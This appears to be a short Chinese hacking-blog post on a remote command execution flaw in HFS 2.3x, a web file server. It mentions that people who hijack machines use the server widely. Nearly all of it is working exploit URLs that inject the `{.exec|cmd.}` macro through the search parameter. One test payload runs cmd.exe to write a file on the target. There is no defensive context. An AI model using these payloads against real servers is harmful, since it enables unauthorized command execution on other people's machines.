國外軟體HFS 2.3x 遠程命令執行漏洞 （本程式某些YY黑闊大牛抓雞抓IP工具中使用到本軟體）本站教程教習如何梨園遠程命令執行。。中國寒龍

標籤：blog   http   ar   os   使用   sp   div   2014   log   

這個程式在國內用的特別多，特別是那些抓肉雞的黑闊。

12	http://localhost:80/?search==%00{.exec|cmd.}http://localhost:80/search=%00{.exec|cmd.}

註：有些版本search前面是沒有?的。

測試部分：
百度搜HFS預設就是2.3x版本，執行echo測試成功：

1	http://localhost:8080/?search==%00{.exec|cmd.exe%20/c%20echo>c:/1.txt%20123.}

國外軟體HFS 2.3x 遠程命令執行漏洞 （本程式某些YY黑闊大牛抓雞抓IP工具中使用到本軟體）本站教程教習如何梨園遠程命令執行。。中國寒龍